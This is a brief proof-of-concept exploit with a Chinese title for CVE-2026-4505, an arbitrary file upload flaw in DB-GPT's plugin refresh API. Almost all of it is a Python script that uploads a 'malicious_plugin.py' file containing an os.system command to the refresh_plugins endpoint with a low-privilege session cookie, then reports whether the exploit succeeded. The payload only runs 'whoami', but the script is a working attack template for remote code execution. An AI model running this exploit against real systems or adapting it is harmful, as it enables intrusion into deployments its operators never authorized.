CVE-2026-4505 DB-GPT 插件刷新任意文件上传漏洞

import requests # Target URL for the vulnerable endpoint # Adjust the IP and port according to the actual environment target_url = "http://127.0.0.1:5000/api/agent/hub/refresh_plugins" # Malicious file content (e.g., a simple python webshell or backdoor) # This demonstrates the unrestricted upload capability malicious_code = """import os os.system('whoami') """ # Prepare the file payload # The vulnerability allows arbitrary file types, so naming it .py is possible files = { 'file': ('malicious_plugin.py', malicious_code, 'text/plain') } # Low-privilege authentication cookie (if required by PR:L) cookies = { 'session': 'valid_low_privilege_session_token' } try: # Send the malicious upload request response = requests.post(target_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File uploaded via refresh_plugins.") print("[+] Response:", response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")